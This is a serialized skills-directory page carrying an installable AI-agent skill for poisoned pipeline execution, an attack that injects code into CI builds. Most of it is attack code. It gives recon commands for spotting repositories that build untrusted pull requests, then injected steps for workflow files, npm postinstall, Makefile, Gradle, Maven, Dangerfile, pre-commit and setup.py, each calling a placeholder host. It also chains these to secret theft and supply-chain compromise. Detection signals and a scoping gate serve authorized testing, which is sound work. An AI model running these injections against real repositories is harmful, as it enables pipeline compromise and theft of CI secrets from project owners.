[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFG00EBDGFG5D2D85RGZSE":3,"skill-same:01M7DFG00EBDGFG5D2D85RGZSE":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFG00EBDGFG5D2D85RGZSE","poisoned-pipeline-execution",null,"Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target \u002F fork-PR triggers, and ride dependency \u002F test-script execution on CI.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fpoisoned-pipeline-execution\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: poisoned-pipeline-execution\ndescription: \"Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target \u002F fork-PR triggers, and ride dependency \u002F test-script execution on CI.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script\"\n  tags: ci-cd, ppe, pipeline, execution\n  mitre_attack: T1195.002, T1199, T1059\n---\n\n# Poisoned Pipeline Execution (PPE)\n\nPPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan \u002F CIDER taxonomy):\n\n- **Direct PPE (D-PPE)**: attacker edits the *pipeline config itself* (`.github\u002Fworkflows\u002F*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`) in a PR\u002Fbranch the CI runs.\n- **Indirect PPE (I-PPE)**: attacker edits a file the *pipeline calls* — build scripts (`Makefile`, `build.gradle`, `pom.xml`), package-manager scripts (`package.json` `scripts`, `setup.py`), lint\u002Ftest hooks (`Dangerfile`, `.pre-commit-config.yaml`, `tox.ini`, `pyproject.toml` `[tool.poetry.scripts]`), or any file `make test` ends up sourcing.\n\n## Recon — does the target build untrusted code?\n\n```bash\n# 1. Workflow triggers that build PRs\ngrep -rE '^\\s*(pull_request|pull_request_target)\\s*:' \u003CREPO>\u002F.github\u002Fworkflows\u002F 2>\u002Fdev\u002Fnull\n\n# 2. Does CI install + run scripts before any review gate?\ngrep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' \u003CREPO>\u002F.github\u002Fworkflows\u002F \u003CREPO>\u002F.gitlab-ci.yml 2>\u002Fdev\u002Fnull\n\n# 3. Are forks allowed? (default: yes on public repos)\ngh api \"repos\u002F\u003COWNER>\u002F\u003CREPO>\" --jq '{visibility,fork,allow_forking,default_branch}'\n\n# 4. Does a maintainer have to approve fork-PR workflow runs? (org\u002Frepo setting)\ngh api \"repos\u002F\u003COWNER>\u002F\u003CREPO>\u002Factions\u002Fpermissions\" --jq '.allowed_actions,.enabled' 2>\u002Fdev\u002Fnull\n# Default for public repos: first-time contributors require approval; returning contributors don't.\n```\n\n## Direct PPE — edit the workflow itself\n\n```yaml\n# Attacker branch: feature\u002Finnocent-typo-fix\n# .github\u002Fworkflows\u002Fci.yml — add a step that exfils env\nname: CI\non: [push, pull_request]\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - name: \"fix: tweak test runner\"   # blends in\n        run: |\n          # Beacon-only PoC — DO NOT exfil real secrets in research\n          curl -sX POST \"https:\u002F\u002F\u003CCOLLAB>\u002F$(echo -n \"$GITHUB_REPOSITORY\" | base64)\" \\\n            -d \"ref=$GITHUB_REF\"\n```\n\nD-PPE works when the workflow runs on `pull_request` from forks **without** the \"require approval\" gate, or when the attacker has push access to a branch CI builds.\n\n## Indirect PPE — edit a file the pipeline calls\n\n### package.json scripts\n\n```jsonc\n\u002F\u002F PR diff — adds a postinstall that fires when CI runs `npm ci`\n{\n  \"scripts\": {\n    \"test\": \"jest\",\n    \"postinstall\": \"node -e \\\"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.\u003CCOLLAB>',()=>{})\\\"\"\n  }\n}\n```\n\n`npm ci` \u002F `npm install` will execute `postinstall` by default. Same trick works with `preinstall`, `prepare`, `prepublish`. Yarn \u002F pnpm honor the same hooks.\n\n### Makefile \u002F `make test`\n\n```make\n# PR adds an indented line under the existing `test:` target\ntest:\n\tpytest -q\n\t@curl -s \"https:\u002F\u002F\u003CCOLLAB>\u002Fmake-test-$$(hostname)\" >\u002Fdev\u002Fnull || true\n```\n\n### Gradle \u002F Maven\n\n```groovy\n\u002F\u002F build.gradle — runs at evaluation, before any task\nallprojects {\n  doFirst {\n    \"curl -s https:\u002F\u002F\u003CCOLLAB>\u002Fgradle\".execute()\n  }\n}\n```\n\n```xml\n\u003C!-- pom.xml — exec-maven-plugin attached to validate phase -->\n\u003Cplugin>\n  \u003CgroupId>org.codehaus.mojo\u003C\u002FgroupId>\u003CartifactId>exec-maven-plugin\u003C\u002FartifactId>\n  \u003Cexecutions>\u003Cexecution>\u003Cphase>validate\u003C\u002Fphase>\n    \u003Cgoals>\u003Cgoal>exec\u003C\u002Fgoal>\u003C\u002Fgoals>\n    \u003Cconfiguration>\u003Cexecutable>curl\u003C\u002Fexecutable>\n      \u003Carguments>\u003Cargument>-s\u003C\u002Fargument>\u003Cargument>https:\u002F\u002F\u003CCOLLAB>\u002Fmvn\u003C\u002Fargument>\u003C\u002Farguments>\n    \u003C\u002Fconfiguration>\n  \u003C\u002Fexecution>\u003C\u002Fexecutions>\n\u003C\u002Fplugin>\n```\n\n### Danger \u002F pre-commit \u002F lint hooks\n\n```ruby\n# Dangerfile — runs on every PR in many JS\u002FiOS pipelines\n`curl -s https:\u002F\u002F\u003CCOLLAB>\u002Fdanger`\n```\n\n```yaml\n# .pre-commit-config.yaml — points to attacker-controlled repo\nrepos:\n  - repo: https:\u002F\u002Fgithub.com\u002F\u003CATTACKER>\u002Finnocent-lint\n    rev: main\n    hooks: [{ id: lint }]\n```\n\n### setup.py \u002F pyproject.toml\n\n```python\n# setup.py — runs at `pip install .` time\nfrom setuptools import setup\nimport os; os.system(\"curl -s https:\u002F\u002F\u003CCOLLAB>\u002Fsetuppy\")\nsetup(name=\"x\", version=\"0.0.0\")\n```\n\n### Test fixtures\n\n`conftest.py`, `jest.setup.js`, `karma.conf.js`, `cypress\u002Fsupport\u002Findex.js`, `phpunit.xml` bootstrap files — all execute before the first test runs.\n\n## `pull_request_target` — the dangerous trigger\n\n`pull_request_target` runs in the **base** repo context with secrets and a write `GITHUB_TOKEN`, but if the workflow then checks out the **PR head**, the attacker's code runs privileged:\n\n```yaml\n# VULNERABLE — DO NOT WRITE THIS\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n        with: { ref: ${{ github.event.pull_request.head.sha }} }   # \u003C-- attacker code\n      - run: npm ci && npm test                                    # \u003C-- runs attacker code with secrets in env\n```\n\nA fork PR adding an `postinstall` to `package.json` now runs with `secrets.*` available.\n\n## Chains\n\n| Chain | Pivot |\n|---|---|\n| I-PPE in a build script -> `printenv` -> CI secret -> deploy creds | See `cicd-secrets-exfil\u002FSKILL.md` |\n| D-PPE on protected branch via stale review approval | Push to PR after approval (use `dismiss_stale_reviews`-misconfigured repos) |\n| I-PPE on self-hosted runner | Persistence via cron \u002F systemd; see `self-hosted-runner-abuse\u002FSKILL.md` |\n| I-PPE -> push tag \u002F publish package via `GITHUB_TOKEN` | Downstream supply-chain compromise |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `gato` \u002F `gato-x` | Scans orgs for PPE-prone workflows, automates fork-PR PoC |\n| `actionlint` | Reverse-use: flags `pull_request_target` + PR-head checkout |\n| `octoscan`, `zizmor` | Static workflow analyzers |\n| `tj-actions\u002Fchanged-files` CVE-2025-30066 | Real-world I-PPE-via-action precedent |\n\n## Detection signatures (defender view)\n\n| Signal | Where |\n|---|---|\n| Edit to `.github\u002Fworkflows\u002F*` in a fork PR | GitHub UI flags \"workflow file change\" on first run; defenders watch for it |\n| New `postinstall` \u002F `preinstall` \u002F `prepare` in `package.json` diff | `git log -p package.json` |\n| New outbound network from CI runner during build | egress filtering on runner subnet |\n| `pull_request_target` + checkout of `head.sha` | static lint (`zizmor`, `octoscan`) |\n\n## Decision gate\n\n1. Confirm written scope covers CI\u002FCD testing.\n2. PoC payload = single DNS \u002F HTTPS beacon, no real secret exfil.\n3. Open the PR from a clearly-labeled `security-research-*` fork; close + delete after capture.\n4. Never push to protected branches, never publish artifacts, never tag releases.\n\n## References\n\n- \"Top 10 CI\u002FCD Security Risks\" — Cider Security \u002F OWASP (CICD-SEC-04 PPE)\n- Palawan \u002F Cider PPE taxonomy\n- `tj-actions\u002Fchanged-files` incident (Mar 2025) — supply-chain via reused action\n","# Poisoned Pipeline Execution (PPE)\n\nPPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan \u002F CIDER taxonomy):\n\n- **Direct PPE (D-PPE)**: attacker edits the *pipeline config itself* (`.github\u002Fworkflows\u002F*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`) in a PR\u002Fbranch the CI runs.\n- **Indirect PPE (I-PPE)**: attacker edits a file the *pipeline calls* — build scripts (`Makefile`, `build.gradle`, `pom.xml`), package-manager scripts (`package.json` `scripts`, `setup.py`), lint\u002Ftest hooks (`Dangerfile`, `.pre-commit-config.yaml`, `tox.ini`, `pyproject.toml` `[tool.poetry.scripts]`), or any file `make test` ends up sourcing.\n\n## Recon — does the target build untrusted code?\n\n```bash\n# 1. Workflow triggers that build PRs\ngrep -rE '^\\s*(pull_request|pull_request_target)\\s*:' \u003CREPO>\u002F.github\u002Fworkflows\u002F 2>\u002Fdev\u002Fnull\n\n# 2. Does CI install + run scripts before any review gate?\ngrep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' \u003CREPO>\u002F.github\u002Fworkflows\u002F \u003CREPO>\u002F.gitlab-ci.yml 2>\u002Fdev\u002Fnull\n\n# 3. Are forks allowed? (default: yes on public repos)\ngh api \"repos\u002F\u003COWNER>\u002F\u003CREPO>\" --jq '{visibility,fork,allow_forking,default_branch}'\n\n# 4. Does a maintainer have to approve fork-PR workflow runs? (org\u002Frepo setting)\ngh api \"repos\u002F\u003COWNER>\u002F\u003CREPO>\u002Factions\u002Fpermissions\" --jq '.allowed_actions,.enabled' 2>\u002Fdev\u002Fnull\n# Default for public repos: first-time contributors require approval; returning contributors don't.\n```\n\n## Direct PPE — edit the workflow itself\n\n```yaml\n# Attacker branch: feature\u002Finnocent-typo-fix\n# .github\u002Fworkflows\u002Fci.yml — add a step that exfils env\nname: CI\non: [push, pull_request]\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - name: \"fix: tweak test runner\"   # blends in\n        run: |\n          # Beacon-only PoC — DO NOT exfil real secrets in research\n          curl -sX POST \"https:\u002F\u002F\u003CCOLLAB>\u002F$(echo -n \"$GITHUB_REPOSITORY\" | base64)\" \\\n            -d \"ref=$GITHUB_REF\"\n```\n\nD-PPE works when the workflow runs on `pull_request` from forks **without** the \"require approval\" gate, or when the attacker has push access to a branch CI builds.\n\n## Indirect PPE — edit a file the pipeline calls\n\n### package.json scripts\n\n```jsonc\n\u002F\u002F PR diff — adds a postinstall that fires when CI runs `npm ci`\n{\n  \"scripts\": {\n    \"test\": \"jest\",\n    \"postinstall\": \"node -e \\\"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.\u003CCOLLAB>',()=>{})\\\"\"\n  }\n}\n```\n\n`npm ci` \u002F `npm install` will execute `postinstall` by default. Same trick works with `preinstall`, `prepare`, `prepublish`. Yarn \u002F pnpm honor the same hooks.\n\n### Makefile \u002F `make test`\n\n```make\n# PR adds an indented line under the existing `test:` target\ntest:\n\tpytest -q\n\t@curl -s \"https:\u002F\u002F\u003CCOLLAB>\u002Fmake-test-$$(hostname)\" >\u002Fdev\u002Fnull || true\n```\n\n### Gradle \u002F Maven\n\n```groovy\n\u002F\u002F build.gradle — runs at evaluation, before any task\nallprojects {\n  doFirst {\n    \"curl -s https:\u002F\u002F\u003CCOLLAB>\u002Fgradle\".execute()\n  }\n}\n```\n\n```xml\n\u003C!-- pom.xml — exec-maven-plugin attached to validate phase -->\n\u003Cplugin>\n  \u003CgroupId>org.codehaus.mojo\u003C\u002FgroupId>\u003CartifactId>exec-maven-plugin\u003C\u002FartifactId>\n  \u003Cexecutions>\u003Cexecution>\u003Cphase>validate\u003C\u002Fphase>\n    \u003Cgoals>\u003Cgoal>exec\u003C\u002Fgoal>\u003C\u002Fgoals>\n    \u003Cconfiguration>\u003Cexecutable>curl\u003C\u002Fexecutable>\n      \u003Carguments>\u003Cargument>-s\u003C\u002Fargument>\u003Cargument>https:\u002F\u002F\u003CCOLLAB>\u002Fmvn\u003C\u002Fargument>\u003C\u002Farguments>\n    \u003C\u002Fconfiguration>\n  \u003C\u002Fexecution>\u003C\u002Fexecutions>\n\u003C\u002Fplugin>\n```\n\n### Danger \u002F pre-commit \u002F lint hooks\n\n```ruby\n# Dangerfile — runs on every PR in many JS\u002FiOS pipelines\n`curl -s https:\u002F\u002F\u003CCOLLAB>\u002Fdanger`\n```\n\n```yaml\n# .pre-commit-config.yaml — points to attacker-controlled repo\nrepos:\n  - repo: https:\u002F\u002Fgithub.com\u002F\u003CATTACKER>\u002Finnocent-lint\n    rev: main\n    hooks: [{ id: lint }]\n```\n\n### setup.py \u002F pyproject.toml\n\n```python\n# setup.py — runs at `pip install .` time\nfrom setuptools import setup\nimport os; os.system(\"curl -s https:\u002F\u002F\u003CCOLLAB>\u002Fsetuppy\")\nsetup(name=\"x\", version=\"0.0.0\")\n```\n\n### Test fixtures\n\n`conftest.py`, `jest.setup.js`, `karma.conf.js`, `cypress\u002Fsupport\u002Findex.js`, `phpunit.xml` bootstrap files — all execute before the first test runs.\n\n## `pull_request_target` — the dangerous trigger\n\n`pull_request_target` runs in the **base** repo context with secrets and a write `GITHUB_TOKEN`, but if the workflow then checks out the **PR head**, the attacker's code runs privileged:\n\n```yaml\n# VULNERABLE — DO NOT WRITE THIS\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n        with: { ref: ${{ github.event.pull_request.head.sha }} }   # \u003C-- attacker code\n      - run: npm ci && npm test                                    # \u003C-- runs attacker code with secrets in env\n```\n\nA fork PR adding an `postinstall` to `package.json` now runs with `secrets.*` available.\n\n## Chains\n\n| Chain | Pivot |\n|---|---|\n| I-PPE in a build script -> `printenv` -> CI secret -> deploy creds | See `cicd-secrets-exfil\u002FSKILL.md` |\n| D-PPE on protected branch via stale review approval | Push to PR after approval (use `dismiss_stale_reviews`-misconfigured repos) |\n| I-PPE on self-hosted runner | Persistence via cron \u002F systemd; see `self-hosted-runner-abuse\u002FSKILL.md` |\n| I-PPE -> push tag \u002F publish package via `GITHUB_TOKEN` | Downstream supply-chain compromise |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `gato` \u002F `gato-x` | Scans orgs for PPE-prone workflows, automates fork-PR PoC |\n| `actionlint` | Reverse-use: flags `pull_request_target` + PR-head checkout |\n| `octoscan`, `zizmor` | Static workflow analyzers |\n| `tj-actions\u002Fchanged-files` CVE-2025-30066 | Real-world I-PPE-via-action precedent |\n\n## Detection signatures (defender view)\n\n| Signal | Where |\n|---|---|\n| Edit to `.github\u002Fworkflows\u002F*` in a fork PR | GitHub UI flags \"workflow file change\" on first run; defenders watch for it |\n| New `postinstall` \u002F `preinstall` \u002F `prepare` in `package.json` diff | `git log -p package.json` |\n| New outbound network from CI runner during build | egress filtering on runner subnet |\n| `pull_request_target` + checkout of `head.sha` | static lint (`zizmor`, `octoscan`) |\n\n## Decision gate\n\n1. Confirm written scope covers CI\u002FCD testing.\n2. PoC payload = single DNS \u002F HTTPS beacon, no real secret exfil.\n3. Open the PR from a clearly-labeled `security-research-*` fork; close + delete after capture.\n4. Never push to protected branches, never publish artifacts, never tag releases.\n\n## References\n\n- \"Top 10 CI\u002FCD Security Risks\" — Cider Security \u002F OWASP (CICD-SEC-04 PPE)\n- Palawan \u002F Cider PPE taxonomy\n- `tj-actions\u002Fchanged-files` incident (Mar 2025) — supply-chain via reused action\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ci-cd, ppe, pipeline, execution","execution","ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script","T1195.002, T1199, T1059","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fpoisoned-pipeline-execution","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill poisoned-pipeline-execution",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill poisoned-pipeline-execution",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill poisoned-pipeline-execution","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fpoisoned-pipeline-execution\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]